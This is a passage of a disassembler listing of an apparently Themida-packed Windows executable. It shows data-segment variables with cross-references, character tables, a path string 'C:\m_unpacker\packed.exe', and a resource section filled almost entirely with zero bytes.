dword_4D3830	dd 200h	dup(0)		; DATA XREF: sub_4172C1+C7o
					; sub_41761C+DDo ...
dword_4D4030	dd 48h dup(0)		; DATA XREF: sub_4172C1+D6o
					; sub_41761C+F4o ...
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_4383A8o
		dd 1B7h	dup(0)
dword_4D4830	dd 0			; DATA XREF: sub_4172C1+86w
					; sub_417493+94r
dword_4D4834	dd 0			; DATA XREF: sub_4172C1+A7w
					; sub_4178F9+55r ...
dword_4D4838	dd 0			; DATA XREF: sub_4172C1+A0w
					; sub_417493+D6r ...
dword_4D483C	dd 0			; DATA XREF: sub_4172C1+79w
					; sub_417493+35r ...
dword_4D4840	dd 80h dup(0)		; DATA XREF: sub_4178F9+5Eo
dword_4D4A40	dd 0			; DATA XREF: sub_4172C1+93w
					; sub_417493+A2r
		align 8
dword_4D4A48	dd 0			; DATA XREF: sub_4172C1+E7o
					; sub_4172C1+103r ...
dword_4D4A4C	dd 0			; DATA XREF: sub_41761C+17Bw
					; sub_4177C3+107w
dword_4D4A50	dd 0			; DATA XREF: sub_41761C+180w
					; sub_4177C3+10Dw ...
dword_4D4A54	dd 0			; DATA XREF: sub_41761C+159w
					; sub_4178F9+4Fr
dword_4D4A58	dd 0			; DATA XREF: sub_417C61+22w
					; sub_417C61:loc_417DE6w ...
dword_4D4A5C	dd 0			; DATA XREF: sub_401ACD+3C95o
					; sub_417B2F+12o ...
		dd 0
dword_4D4A64	dd 0			; DATA XREF: sub_417C61+1Cr
					; sub_417E06+3Ar
		dd 7Fh dup(0)
dword_4D4C64	dd 0			; DATA XREF: sub_417C61+28r
					; sub_417E06+4Aw
		dd 1944h dup(0)
dword_4DB178	dd 0			; DATA XREF: sub_417E06+23o
dword_4DB17C	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CB9o
					; sub_417B2F+3Co ...
dword_4DB380	dd 17h dup(0)		; DATA XREF: sub_418D2A:loc_418E47o
					; sub_418D2A+131o ...
dword_4DB3DC	dd 80h dup(0)		; DATA XREF: sub_419AE0+7Co
					; sub_419AE0+A5o
dword_4DB5DC	dd 0			; DATA XREF: sub_4190A5+45w
					; sub_4190A5+4Dr ...
dword_4DB5E0	dd 17h dup(0)		; DATA XREF: sub_4199AC:loc_419ACEo
					; sub_4199AC+12Do
dword_4DB63C	dd 80h dup(0)		; DATA XREF: sub_418FE5+4Co
					; sub_418FE5+7Eo ...
byte_4DB83C	db 0			; DATA XREF: sub_4190A5+29r
					; sub_4190A5+34w
		align 10h
dword_4DB840	dd 80h dup(0)		; DATA XREF: sub_4192FC+61o
					; sub_4192FC+89o ...
dword_4DBA40	dd 81h dup(0)		; DATA XREF: sub_418C0E:loc_418C46o
					; sub_418C0E+5Bo
dword_4DBC44	dd 0			; DATA XREF: sub_419F6D:loc_419F8Er
					; sub_41A05C+54r ...
dword_4DBC48	dd 0			; DATA XREF: sub_419F6Dr
					; sub_41A05C+37r ...
dword_4DBC4C	dd 0			; DATA XREF: sub_419F9D+1Ar
					; sub_41A1B1+83o
dword_4DBC50	dd 0			; DATA XREF: sub_419F6D:loc_419F81r
					; sub_41A1B1+11Bw
dword_4DBC54	dd 0Dh dup(0)		; DATA XREF: sub_41A05C+13o
					; sub_41A1B1:loc_41A2EEo
dword_4DBC88	dd 0			; DATA XREF: sub_41A05C+CDr
					; sub_41A05C+ECr ...
		align 10h
dword_4DBC90	dd 0Fh dup(0)		; DATA XREF: sub_41ADD8+47o
byte_4DBCCC	db 0			; DATA XREF: sub_41B52C+6o
					; ___:0041B881o ...
		align 10h
		dd 3Fh dup(0)
dword_4DBDCC	dd 2 dup(0)		; DATA XREF: sub_41B55B+18o
dword_4DBDD4	dd 2 dup(0)		; DATA XREF: sub_41B55B+8o
					; ___:0041B6CAo
dword_4DBDDC	dd 0			; DATA XREF: sub_41C59D+1B9w
					; ___:loc_41DB07w ...
dword_4DBDE0	dd 0			; DATA XREF: sub_41DC5E+35w
					; sub_41E312:loc_41E3ACw ...
dword_4DBDE4	dd 0			; DATA XREF: sub_42423B+13Ar
		dd 0A28h, 501h,	5, 1
dword_4DBDF8	dd 1			; DATA XREF: ___:loc_401516r
					; ___:0042381Dw
dword_4DBDFC	dd 2460B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		dd 0
dword_4DBE04	dd 2460B58h		; DATA XREF: ___:00423717w
		dd 3 dup(0)
off_4DBE14	dd offset aCM_unpackerPac ; DATA XREF: ___:004237BAw
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4DBE1C	db 0			; DATA XREF: sub_41C1B3+2Dw
					; sub_4241E3+5r
		align 10h
dword_4DBE20	dd 0			; DATA XREF: sub_41C1B3+27w
dword_4DBE24	dd 0			; DATA XREF: sub_41C1B3+4r
					; sub_41C1B3+8Bw
dword_4DBE28	dd 0			; DATA XREF: sub_41CAD4+3Br
					; sub_41CAD4+91w
		align 10h
dword_4DBE30	dd 0			; DATA XREF: sub_41D124+Aw
dword_4DBE34	dd 0			; DATA XREF: ___:loc_4236E5r
					; ___:loc_423727r ...
		dd 0
dword_4DBE3C	dd 0			; DATA XREF: sub_41E2C9r ___:0041E2F0o ...
dword_4DBE40	dd 0			; DATA XREF: sub_41F3B0+4Bw
					; sub_41F4C9+2Dw ...
dword_4DBE44	dd 0			; DATA XREF: sub_41FBB2r
dword_4DBE48	dd 0			; DATA XREF: sub_41BBE2:loc_41BCFEr
					; sub_41BBE2:loc_41BE1Fr ...
dword_4DBE4C	dd 1			; DATA XREF: sub_420749:loc_4208C4r
					; sub_4208E2+4w ...
dword_4DBE50	dd 0			; DATA XREF: sub_420CE6+37r
		align 8
dword_4DBE58	dd 0			; DATA XREF: sub_422279+11r
					; sub_42237D+1Ar ...
byte_4DBE5C	db 0			; DATA XREF: sub_422279+3r
					; sub_422279+98r ...
		align 10h
dword_4DBE60	dd 0			; DATA XREF: sub_42237D+11r
					; sub_42245B+21w ...
byte_4DBE64	db 0			; DATA XREF: sub_42245B+51w
		align 4
dword_4DBE68	dd 0			; DATA XREF: sub_422651+4Er
					; sub_422A2C+3Ar ...
dword_4DBE6C	dd 0			; DATA XREF: sub_422651+5Cr
					; sub_422A2C+43r ...
dword_4DBE70	dd 0			; DATA XREF: sub_41D3AA+7Ar
					; sub_4227F8+5r
dword_4DBE74	dd 0			; DATA XREF: sub_422DFC+29r
dword_4DBE78	dd 1			; DATA XREF: sub_4232A8+28r
					; sub_4232A8+4Cw ...
		dd 2 dup(0)
dword_4DBE84	dd 0			; DATA XREF: sub_41DE4A+4r
					; sub_41DE4A+6Er ...
		dd 3 dup(0)
dword_4DBE94	dd 0			; DATA XREF: sub_41E0D4+61r
					; sub_41E0D4+BFr ...
		dd 0
dword_4DBE9C	dd 0			; DATA XREF: ___:00423531r
					; ___:0042353Dw ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_4237A3o
					; ___:off_4DBE14o
		align 4
		dd 3Ah dup(0)
dword_4DBFA4	dd 1			; DATA XREF: ___:004239DBr
					; ___:004239FCw ...
dword_4DBFA8	dd 0			; DATA XREF: sub_423D98+21r
dword_4DBFAC	dd 0			; DATA XREF: sub_41FBCD+154w
					; sub_420CE6:loc_420D0Fw ...
dword_4DBFB0	dd 0			; DATA XREF: sub_41FBCD+7r
dword_4DBFB4	dd 1			; DATA XREF: sub_4244F4+26r
					; sub_4244F4:loc_42455Ew
word_4DBFB8	dw 0			; DATA XREF: sub_424DF9+1Ao
					; sub_424DF9+46r
byte_4DBFBA	db 0			; DATA XREF: sub_424DF9+39r
		align 4
dword_4DBFBC	dd 7 dup(0)		; DATA XREF: sub_424DF9+52o
dword_4DBFD8	dd 0			; DATA XREF: sub_424DF9+40w
					; sub_424DF9+5Co
dword_4DBFDC	dd 0			; DATA XREF: sub_424DF9+4Dw
dword_4DBFE0	dd 0			; DATA XREF: sub_424DF9+31w
dword_4DBFE4	dd 0			; DATA XREF: sub_424DF9+52w
dword_4DBFE8	dd 77C26E79h		; DATA XREF: sub_424F1C:loc_424F3Fr
					; sub_424F1C+38r
dword_4DBFEC	dd 0			; DATA XREF: sub_425029+3r
					; sub_425029+2Ew ...
dword_4DBFF0	dd 0			; DATA XREF: sub_425029+43w
					; sub_425029:loc_425078r
dword_4DBFF4	dd 0			; DATA XREF: sub_425029+4Aw
					; sub_425029+60r
dword_4DBFF8	dd 0			; DATA XREF: sub_42423B+3Fr
dword_4DBFFC	dd 0			; DATA XREF: sub_425C06:loc_425C6Dr
					; sub_425C06+6Do
dword_4DC000	dd 0			; DATA XREF: sub_425C06:loc_425C44r
					; sub_425C06+44o
dword_4DC004	dd 0			; DATA XREF: sub_425C06:loc_425C37r
					; sub_425C06+37o
dword_4DC008	dd 0			; DATA XREF: sub_425C06:loc_425C51r
					; sub_425C06+51o
		align 10h
dword_4DC010	dd 0			; DATA XREF: sub_426636+28r
					; sub_426636+4Cw ...
dword_4DC014	dd 0			; DATA XREF: sub_4268C1+26r
					; sub_4268C1:loc_42692Bw
byte_4DC018	db 0			; DATA XREF: sub_40DB3Cr sub_40DB3C+9w
		align 4
dword_4DC01C	dd 2461140h		; DATA XREF: sub_41E490:loc_41E4A1r
					; sub_41FD3D+14r ...
dword_4DC020	dd 400h	dup(0)		; DATA XREF: ___:off_43D568o
					; ___:0043D570o
dword_4DD020	dd 200h			; DATA XREF: sub_41E490+9r
					; sub_41E490+56r ...
		dd 7 dup(0)
dword_4DD040	dd 2460650h		; DATA XREF: sub_41F8E3+75r
					; sub_41F9BC+2Ar ...
dword_4DD044	dd 3Fh dup(0)		; DATA XREF: ___:00423B9Do
dword_4DD140	dd 20h			; DATA XREF: sub_41E312+8r
					; sub_41F9BC+Cr ...
dword_4DD144	dd 4E4h			; DATA XREF: sub_420749+14r
					; sub_420749+65w ...
		align 10h
dword_4DD150	dd 3 dup(0)		; DATA XREF: sub_420749+123o
					; sub_420749+171o ...
dword_4DD15C	dd 0			; DATA XREF: sub_420749+108w
					; sub_420749+15Dw ...
byte_4DD160	db 0			; DATA XREF: sub_420988:loc_420A94w
					; sub_420988:loc_420AB1w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DD260	db 0			; DATA XREF: sub_420749+5Co
					; sub_420749+AFo ...
byte_4DD261	db 0			; DATA XREF: sub_41C3B1+5Dr
					; sub_420749+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DD364	dd 0			; DATA XREF: sub_420749+6Ew
					; sub_420749+12Bw ...
dword_4DD368	dd 0			; DATA XREF: sub_41ED74+5r
					; sub_41ED74+32w
dword_4DD36C	dd 0			; DATA XREF: sub_41E742+23Ar
					; sub_41E742+25Ar ...
dword_4DD370	dd 0			; DATA XREF: sub_41E742+311w
					; sub_41EA6B:loc_41EABBr ...
dword_4DD374	dd 0			; DATA XREF: sub_41E742+22Dr
					; sub_41E742+260r ...
dword_4DD378	dd 0			; DATA XREF: sub_41E717r
					; sub_41E742+2CBr ...
dword_4DD37C	dd 0			; DATA XREF: sub_41E717+8r
					; sub_41E742+2D0r ...
dword_4DD380	dd 0			; DATA XREF: sub_41BBE2+5Cr
					; sub_41BEF3+Fr ...
dword_4DD384	dd 2460000h		; DATA XREF: sub_41BA91+5Ar
					; sub_41BBE2+C0r ...
dword_4DD388	dd 1			; DATA XREF: sub_41BA91+Cr
					; sub_41BBE2:loc_41BC12r ...
dword_4DD38C	dd 142340h		; DATA XREF: ___:0042368Ar
					; ___:004237B5r
dword_4DD390	dd 1			; DATA XREF: ___:00423780w
dword_4DD394	dd 1			; DATA XREF: sub_420B0Dr
					; sub_420B0D+11w ...
dword_4DD398	dd 2460758h		; DATA XREF: sub_41C1B3+3Er
					; sub_41D9B3+13r ...
dword_4DD39C	dd 2460758h		; DATA XREF: sub_41C1B3+35r
					; sub_41C1B3+57r ...
		dd 318h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DF000h
unk_4DF000	db    0			; DATA XREF: Themida_:0054D860o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
